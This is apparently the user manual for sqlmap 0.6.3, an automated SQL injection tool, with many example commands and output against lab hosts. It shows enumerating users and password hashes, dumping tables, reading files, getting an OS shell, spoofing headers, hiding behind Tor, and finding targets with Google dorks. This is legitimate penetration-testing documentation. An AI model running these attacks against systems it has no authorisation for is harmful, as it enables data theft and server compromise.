sqlmap is an automatic
SQL injection tool. Its goal is to detect and take advantage of
SQL injection vulnerabilities on web applications. Once it detects one or
more SQL injections on the target host, the user can choose among a
variety of options to perform an extensive back-end database management
system fingerprint, retrieve DBMS session user and database, enumerate
users, password hashes, privileges, databases, dump entire or user's
specific DBMS tables/columns, run his own SQL SELECT statement,
read specific files on the file system and much more.
sqlmap is developed in Python, a dynamic object-oriented interpreted programming language. This makes the tool independent from the operating system since it only requires the Python interpreter version equal or above to 2.4. The interpreter is freely downloadable from its official site. To make it even easier, many GNU/Linux distributions come out of the box with Python interpreter package installed and other Unices and MacOS X too provide it packaged in their formats and ready to be installed. Windows users can download and install the Python setup-ready installer for x86, AMD64 and Itanium too.
Optionally, if you are running sqlmap on Windows, you may wish to install PyReadline to be able to take advantage of the sqlmap TAB completion and history support functionalities in the SQL shell and OS shell. Note that these functionalities are available natively by Python official readline library on other operating systems.
Let's say that you are auditing a web application and found a web page
that accepts dynamic user-provided values on GET or POST
parameters or HTTP Cookie values or HTTP User-Agent
header value.
You now want to test if these are affected by a SQL injection
vulnerability, and if so, exploit them to retrieve as much information as
possible out of the web application's back-end database management system
or even be able to access the underlying operating system.
Consider that the target url is:
http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
Assume that:
http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=1&cat=2
is the same page as the original one and:
http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=2&cat=2
differs from the original one, it means that you are in front of a SQL
injection vulnerability in the id GET parameter of the
index.php web application page which means that no IDS/IPS, no
web application firewall, no parameters' value sanitization is performed
on the server-side.
This is a quite common flaw in dynamic content web applications and it does not depend upon the back-end database management system nor on the web application programming language: it is a programmer code's security flaw. The Open Web Application Security Project recently rated in their OWASP Top Ten survey this vulnerability as the most common and important web application vulnerability, second only to Cross-Site Scripting.
Back to the scenario, probably the SQL SELECT statemenet into
index.php has a syntax similar to the following SQL query, in
pseudo PHP code:
$query = "SELECT [column(s) name] FROM [table name] WHERE id=" . $_REQUEST['id'];
As you can see, appending any other syntatically valid SQL condition after
a value for id such condition will take place when the web
application passes the query to the back-end database management system
that executes it, that is why the condition id=1 AND 1=1 is valid
(True) and returns the same page as the original one, with the
same content and without showing any SQL error message.
Moreover, in this simple and easy to inject scenario it would be also
possible to append, not just one or more valid SQL condition(s), but also
stacked SQL queries, for instance something like [...]&id=1;
ANOTHER SQL QUERY--
Now that you found this SQL injection vulnerable parameter, you can
exploit it by manipulating the id parameter value in the HTTP
request.
There exist many resources on the Net explaining in depth how to prevent and how to exploit SQL injection vulnerabilities and it is recommended to read them if you are not familiar with the issue before going ahead with sqlmap.
Passing the original address, http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
to sqlmap, the tool will automatically:
id in this scenario);sqlmap implements two techniques to exploit a SQL injection vulnerability:
SELECT sub-statement, or any other SQL statement whose the user
want to retrieve the output.
For each HTTP response, by making a comparison based upon HTML page
content hashes, or string matches, with the original request, the tool
determines the output value of the statement character by character.
The bisection algorithm implemented in sqlmap to perform this technique
is able to fetch each output character with at maximum seven HTTP
requests.
This is sqlmap default SQL injection technique.UNION ALL SELECT. This techique is useful if the web application
page passes the output of the SELECT statement to a for
cycle, or similar, so that each line of the query output is printed on the
page content.
This technique is much faster if the target url is affected by because
in a single HTTP response it returns the whole query output within the
page content.
This SQL injection technique is an alternative to the first one.It is strongly recommended to run at least once sqlmap with the
--union-test option to test if the affected parameter is used
within a for cycle, or similar, and in case use
--union-use option to exploit this vulnerability because it
saves a lot of time and it does not weight down the web server log file
with hundreds of HTTP requests.
Major features implemented in sqlmap include:
SELECT statement.SELECT statement syntax to
perform further injections with. It is also possible to specify the
parameter(s) that you want to perform tests and use for injection on.Cookie header string support, useful when the
web application requires authentication based upon cookies and you have
such data or in case you just want to test for and exploit SQL injection
on such header.Set-Cookie header from
target url, re-establishing of the session if it expires. Test and exploit
on these values is supported too.Referer header value and
the HTTP User-Agent header value specified by user or
randomly selected from a text file.magic_quotes_gpc bypass by encoding
every query string, between single quotes, with CHAR, or similar,
database management system function.sqlmap can be downloaded from its SourceForge File List page. It is available in various formats:
Whatever way you downloaded sqlmap, run it with --update
option to update it to the latest stable version available on its
SourceForge File List page.

This option makes sqlmap negotiate with the search engine its session
cookie to be able to perform a search, then sqlmap will retrieve Google
first 100 results for the Google dork expression with GET parameters
asking you if you want to test and inject on each possible affected URL.

possible to manually specificy the parameter(s) you want sqlmap to perform
tests on comma separeted in order to skip dynamicity tests and perform SQL
injection test and inject directly only against the provided parameter(s).
Example on a PostgreSQL 8.2.7 target:

This feature can be useful in two scenarios:
The steps to go through in the second scenario are the following:
Cookie value, then click on Copy to save its
value to the clipboard.Example on a Microsoft SQL Server 2000 Service Pack 0 target:

Note that the HTTP Cookie header values are separated by a
; character, not by an &.
If the web application at first HTTP response has within the HTTP headers
a Set-Cookie header, sqlmap will automatically use it in all HTTP
requests as the HTTP Cookie header and also test for SQL
injection on these values.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:

If you provide an HTTP Cookie header value and the target URL
sends an HTTP Set-Cookie header, sqlmap asks you which one to use
in the following HTTP requests.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" --cookie "id=1"
[hh:mm:51] [INPUT] you provided an HTTP Cookie header value. The target url provided its
own Cookie within the HTTP Set-Cookie header. Do you want to continue using the HTTP cookie
values that you provided? [Y/n]
Referer headerOption: --referer
It is possible to fake the HTTP Referer header value with this
option. By default no HTTP Referer heder is sent in HTTP
requests.
Example on a PostgreSQL 8.2.7 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --referer \
"http://www.google.com" -v 3

User-Agent headerOptions: --user-agent and -a
By default sqlmap perform HTTP requests providing the following HTTP
User-Agent header value:
sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
It is possible to fake it with the --user-agent option.
Example on an Oracle XE 10.2.0.1 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" \
--user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3

Providing a text file, ./txt/user-agents.txt or any other
file containing a list of at least one user agent, to the -a
option, sqlmap will randomly select a User-Agent from the file
and use it for all HTTP requests.
Example on a MySQL 5.0.51 target:

Note that the HTTP User-Agent header is tested against SQL
injection also if you do not overwrite the default sqlmap HTTP
User-Agent header value.
Some sites perform a server-side check on the HTTP User-Agent
header value and fail the HTTP response if a valid User-Agent is
not provided, its value is not expected or its value is blocked by a web
application firewall or similar intrusion prevention system. In this case
sqlmap will show you a message as follows:
[hh:mm:20] [ERROR] the target url responded with an unknown HTTP status code, try
to force the HTTP User-Agent header with option --user-agent or -a
Basic and Digest authenticationsOptions: --auth-type and --auth-cred
These options can be used to specify which HTTP authentication type the
web server implements and the valid credentials to be used to perfom all
HTTP requests to the target URL.
The two valid types are Basic and Digest and the
credentials' syntax is username:password.
Examples on a MySQL 5.0.51 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1&cat=2" \

Option: --proxy
It is possible to provide an anonymous HTTP proxy address to pass by the
HTTP requests to the target URL. The syntax of HTTP proxy value is
http://url:port.
Example on a PostgreSQL 8.2.7 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" \
--proxy "http://127.0.0.1:3128"

[hh:mm:37] [WARNING] the back-end DMBS is not Oracle
back-end DBMS: PostgreSQL
Instead of using a single anonymous HTTP proxy server to pass by, you can configure a Tor client together with Privoxy on your machine as explained on the Tor client guide then run sqlmap as follows:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" \
--proxy "http://127.0.0.1:8118"
Note that 8118 is the default Privoxy port, adapt it to your
settings.
Option: --threads
It is possible to specify the number of maximum concurrent HTTP requests that sqlmap can start when it uses the blind SQL injection technique to retrieve the query output. This feature relies on the multithreading concept and inherits both its pro and its cons.
Examples on a MySQL 5.0.51 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \
-b --threads 3

[hh:mm:09] [INFO] performed 132 queries in 0 seconds
banner: '5.0.51a-3ubuntu5.2'
As you can see, sqlmap first calculates the length of the query output, then starts three threads. Each thread is assigned to retrieve one character of the query output. The thread then ends after approximately seven HTTP requests, the maximum to retrieve a query output character.
Option: --delay
It is possible to specify a number of seconds to wait between each HTTP request. The valid value is a float, for instance 0.5.
Option: --time-test
TODO
Option: --union-test
It is possible to test if the target URL is affected by an inband SQL injection vulnerability. Refer to the Techniques section for details on this SQL injection technique.
Example on an Oracle XE 10.2.0.1 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" \

As you can see, the target URL parameter id might be also
affected by an inband SQL injection.
In case this vulnerability is exploitable it is strongly recommended to
use it.
Option: --union-use
Providing the --union-use parameter, sqlmap will first test if
the target URL is affected by an inband SQL injection
(--union-test) vulnerability then, in case it is vulnerable and
exploitable, it will trigger this vulnerability to retrieve the output of
the SELECT queries.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:

As you can see, the MySQL version() function (banner) output is
nested (inband) within the HTTP response page, this makes the inband SQL
injection exploitable.
Option: --string
By default the distinction of a True query by a False one (basic concept for standard blind SQL injection attacks) is done comparing injected pages content MD5 hash with the original not-injected page content MD5. Not always this concept works because sometimes the page content changes at each refresh, for instance when the page has a counter, a dynamic advertisment banner or any other part of the HTML which is render dynamically and might change in time not only consequently to user's input. To bypass this limit, sqlmap makes it possible to manually provide a string which is always present on the not-injected page and on all True injected query pages, but that it is not on the False ones. Such information is easy for an user to retrieve, simply try to inject on the affected URL parameter an invalid value and compare original output with the wrong output to identify which string is on True page only. This way the distinction will be based upon string match and not page MD5 hash comparison.

As you can see, the string after Dynamic content changes its
value every second. In the example it is just a call to PHP
time() function, but on the real world it is usually much more
than that.
Looking at the HTTP responses page content you can see that the first five
lines of code do not change at all.
So choosing for instance the word luther as an output that is
on the True page content and it is not on the False page content and
passing it to sqlmap, you should be able to inject anyway.
Example on a MySQL 5.0.51 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1&cat=2" \

As you can see, when this option is specified, sqlmap skips the URL stability test.
Consider this option a must when you are dealing with a page which content that changes itself at each refresh without modifying the user's input.
Option: --dbms
By default sqlmap automatically detects the web application's back-end database manangement system. At the moment the fully supported database management system are four:
It is possible to force the name if you already know it so that sqlmap
will skip the fingerprint with an exception for MySQL to only identify if
it is MySQL < 5.0 or MySQL >= 5.0.
To avoid also this check you can provide instead MySQL 4 or
MySQL 5.
Example on a PostgreSQL 8.2.7 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 2 \
--dbms "PostgreSQL"
[...]
[hh:mm:31] [DEBUG] skipping to test for MySQL
[hh:mm:31] [DEBUG] skipping to test for Oracle
back-end DBMS: PostgreSQL
In case you provide --fingerprint together with --dbms,
sqlmap will only perform the extensive fingerprint for the specified
database management system, read the following section for further
details.
Note that this option is not mandatory and it is strongly recommended to use it only if you are absolutely sure about the back-end database management system. If you do not know it, let sqlmap automatically identify it for you.
Options: -f or --fingerprint
By default the web application's back-end database management system fingerprint is performed requesting a database specific function which returns a known static value. By comparing this value with the returned value it is possible to identify if the back-end database is effectively the one that sqlmap expected.
After identifying an injectable vector, sqlmap fingerprints the back-end database management system and performs the following queries with their specific syntax within the limits of the database architecture.
If you want to perform a more accurate database management system
fingerprint based on various techniques like specific SQL dialects and
inband error messages, you can provide the --fingerprint option.
The order of database management systems that sqlmap tests for is:

html error message fingerprint: Microsoft SQL Server
As you can see, from the Microsoft SQL Server banner, sqlmap was able to correctly identify the database management system service pack. The Microsoft SQL Server XML versions file is the result of a sqlmap parsing library that fetches data from Chip Andrews' SQLSecurity.com site and outputs it to the XML versions file.
Option: -b or --banner
Most of the modern database management systems have a function or an
environment variable which returns details on the database managemet
system version. Sometimes also the operating system where the daemon has
been compiled on, the operating system architecture, its service pack.
Usually this function is version() or the @@version
environment variable.
Example on a MySQL 5.0.51 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -b

Option: --current-user
It is possible to retrieve the database management system's user which is effectively performing the query on the database from the web application.
Example on a MySQL 5.0.51 target:
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --current-user
current user: 'testuser@localhost'
Option: --current-db
It is possible to retrieve the database management system's database the web application is connected to.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --current-db
current database: 'master'
Option: --users
It is possible to enumerate the list of database management system users.
Example on a PostgreSQL 8.2.7 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --users
database management system users [3]:
[*] postgres
[*] testuser
[*] testuser2
Options: --passwords and -U
It is possible to enumerate the password hashes for each database management system user.
Example on a MySQL 5.0.51 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --passwords
[*] debian-sys-maint [1]:
password hash: *BBDC22D2B1E18F8628B2922864A621B32A1B1892
[*] root [1]:

[*] testuser [1]:
password hash: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
You can also provide the -U option to specify the user who you
want to enumerate the password hashes.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --passwords \
-U sa
database management system users password hashes:
[*] sa [1]:
password hash: 0x01000e16d704aa252b7c38d1aeae18756e98172f4b34104d8ee32c2f01b293b03edb7491f

As you can see, when you enumerate password hashes on Microsoft SQL Server sqlmap split the hash, useful if you want to crack it.
Options: --privileges and -U
It is possible to enumerate the privileges for each database management system user.
Example on an Oracle XE 10.2.0.1 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --privileges

You can also provide the -U option to specify the user who you
want to enumerate the privileges.
Example on a PostgreSQL 8.2.7 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --privileges \
-U postgres
database management system users privileges:
[*] postgres (administrator) [3]:
privilege: catupd
privilege: createdb
privilege: super
As you can see, depending on the user privileges, sqlmap identifies if the user is a database management system administrator and show after the username this information.
Note that this feature is not available if the back-end database management system is Microsoft SQL Server.
Option: --dbs
It is possible to enumerate the list of databases.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dbs
available databases [6]:
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
Note that this feature is not available if the back-end database management system is Oracle.
Options: --tables and -D
It is possible to enumerate the list of tables for all database manangement system's databases.
Example on a MySQL 5.0.51 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --tables

You can also provide the -D option to specify the database
that you want to enumerate the tables.
Example on a MySQL 5.0.51 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --tables \

Database: USERS
[8 tables]
+-------------------+
| DEPARTMENTS |
| EMPLOYEES |
| HTMLDB_PLAN_TABLE |
| JOB_HISTORY |
| JOBS |

| REGIONS |
| USERS |
+-------------------+
Note that on Oracle you have to provide the TABLESPACE_NAME
instead of the database name, in my example that is users to
retrieve all tables owned by an Oracle database management system
user.
Options: --columns, -T and -D
It is possible to enumerate the list of columns for a specific database
table.
This functionality depends on both -T to specify the table name
and on -D to specify the database name.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --columns \
-T users -D master
Database: master
Table: users
[3 columns]
+---------+---------+
| Column | Type |
+---------+---------+
| id | int |
| name | varchar |
| surname | varchar |
+---------+---------+
Example on a PostgreSQL 8.2.7 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --columns \
-T users -D public
Database: public
Table: users
[3 columns]
+---------+--------+
| Column | Type |
+---------+--------+
| id | int4 |
| name | bpchar |
| surname | bpchar |
+---------+--------+
Note that on PostgreSQL you have to provide public or the
name of a system database because it is not possible to enumerate other
databases tables, only the users' schema that the web application's user
is connected to, which is always public.
Options: --dump, -C, -T, -D,
--start and --stop
It is possible to dump the entries for a specific database table.
This functionality depends on both -T to specify the table name
and on -D to specify the database name.
Example on a MySQL 5.0.51 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --dump \
-T users -D test
Database: test
Table: users

| 3 | wu | ming |
| 4 | sqlmap/0.6.3 (http://sqlmap.sourceforge.net) | user agent header |
| 5 | NULL | nameisnull |
+----+----------------------------------------------+-------------------+
You can also provide the -C option to specify the table column
that you want to enumerate the entries.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dump \

| blisset |
| bunny |
| ming |
| nameisnull |
| user agent header |
+-------------------+
sqlmap also stores for each table the dumped entries in a CSV format file. You can see the absolute path where it stored the dumped tables entries by providing a verbosity level greater than or equal to 1.
Example on a PostgreSQL 8.2.7 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --dump \

You can also provide the --start and/or the --stop option
to limit the dump to a range of entries.
--start specifies the first entry to enumerate--stop specifies the last entry to enumerateExample on a MySQL 5.0.51 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --dump \

As you can see, sqlmap is very flexible: you can leave it automatically enumerate the whole database table up to a single column of a specific table entry.
Options: --dump-all and --exclude-sysdbs
It is possible to dump all databases tables entries at once.
Example on a MySQL 5.0.51 target:

You can also provide the --exclude-sysdbs option to exclude all
system databases so that sqlmap will only dump entries of users' databases
tables.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dump-all \

Note that on Microsoft SQL Server the master database is not
considered a system database because some database administrators use it
as a users' database.
Options: --sql-query and --sql-shell
The SQL query and the SQL shell features makes the user able to run
whatever SELECT statement on the web application's back-end
database management system and retrieve its output.
Examples on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \
"SELECT 'foo'" -v 1

$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \
"SELECT 'foo', 'bar'" -v 1
[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into
distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:50] [INFO] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),

[hh:mm:50] [INFO] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [INFO] performed 27 queries in 0 seconds
SELECT 'foo', 'bar': 'foo, bar'
As you can see from this last example, sqlmap splits the query in two
different SELECT statement to be able to retrieve the output even
in blind SQL injection technique.
Otherwise in inband SQL injection technique it only perform a single HTTP
request to get the user's query output:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \
"SELECT 'foo', 'bar'" -v 1 --union-use

[hh:mm:03] [INFO] performed 3 queries in 0 seconds
SELECT 'foo', 'bar' [1]:

Examples on an Oracle XE 10.2.0.1 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --sql-query \
"SELECT 'foo' FROM dual"
[hh:mm:04] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] n
SELECT 'foo' FROM dual: 'foo'
As you can see, if your SELECT statement contains a FROM
clause, sqlmap asks the user if such statement can return multiple entries
and in such case the tool knows how to unpack the query correctly to
retrieve its whole output line per line.
Example on a PostgreSQL 8.2.7 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-query \
"SELECT usename FROM pg_user"
[hh:mm:47] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
[hh:mm:48] [INPUT] the SQL query that you provide can return up to 3 entries. How many entries
do you want to retrieve?
[a] All (default)
[#] Specific number
[q] Quit
Choice: 2
SELECT usename FROM pg_user [2]:
[*] postgres
[*] testuser
As you can see, in the last example sqlmap counts the number of entries
for your query and asks how many entries from the top you want to dump.
Otherwise if you specify also the LIMIT, or similar, clause
sqlmap will not ask anything, just unpack the query and return its
output.
Example on a MySQL 5.0.51 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-query \

The SQL shell option gives you access to run your own SQL SELECT
statement interactively, like a SQL console logged into the back-end
database management system.
This feature has TAB completion and history support.
Example of history support on a PostgreSQL 8.2.7 target:

back-end database management system in sqlmap XML queries file, but you
can run whatever SELECT statement that you want.

As you can see in this last example, if the SELECT statement has
an asterisk instead of the column(s) name, sqlmap first retrieves the
column names of the table then asks if the query can return multiple
entries and goes on.
Option: --read-file
If the back-end database management system is MySQL and the current user
has access to the LOAD_FILE() function, it is possible to read
the content of a specific file from the file system.
Example on a MySQL 5.0.51 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" \

Option: --os-shell
If the back-end database management system is MySQL, the web application's programming language is PHP and you, or sqlmap itself, found a writable directory within the web server document root path, sqlmap can prompt for an interactive operating system shell on the back-end database management system.
Example on a MySQL 5.0.51 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" \
--os-shell

right now? [Y/n] y
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit
As you might notice, such operating system shell has the same functionalities of SQL shell.
Option: --eta
It is possible to calculate and show the estimated time of arrival to retrieve each query output in real time while performing the SQL injection attack.
Example on an Oracle XE 10.2.0.1 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -b \

As you can see, sqlmap first calculates the length of the query output, then estimated the time of arrival, shows the progress in percentage and counts the number of retrieved query output characters.
Option: --update
It is possible to update sqlmap to the latest stable version available on
its
SourceForge File List page by running it with the
--update option.
$ python sqlmap.py --update -v 4

[hh:mm:02] [INFO] no new Microsoft SQL Server versions since the last update
[hh:mm:02] [DEBUG] parsing XML queries file
As you can see, sqlmap first check if a new stable version is available, then in case it is, download it, unzip it and update the Microsoft SQL Server XML versions file from Chip Andrews' SQLSecurity.com site.
Note that the default configuration file sqlmap.conf is backupped
to sqlmap.conf.bak in case a new stable version is available and
your copy is updated.
Option: -s
It is possible to log all queries and their output on a text file while performing whatever request, both in blind SQL injection and in inband SQL injection. This is useful if you stop the injection and resume it after some time.
Example on a PostgreSQL 8.2.7 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \
-v 1 -s "sqlmap.log"

As you can see, I stopped the injection with CTRL-C while
retrieving the PostgreSQL banner and logged the session to text file
sqlmap.log.
$ cat sqlmap.log

As you can see, all queries performed and their output have been logged to the session file in real time while performing the injection.
The session file has a structure as follows:
[hh:mm:ss MM/DD/YY]
[Target URL][Injection point][Parameters][Query or information name][Query output or value]
Performing the same request now, sqlmap calculates the query length,
in the example VERSION(), and resumes the injection from the last
character retrieved to the end of the query output.
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \

It is possible to pass user's option from a configuration INI file, an
example is sqlmap.conf.

If you want sqlmap to run as a batch tool, without interacting with you in
case of a choice has to be done, you can force it by using --batch
option than letting sqlmap go for a default behaviour.
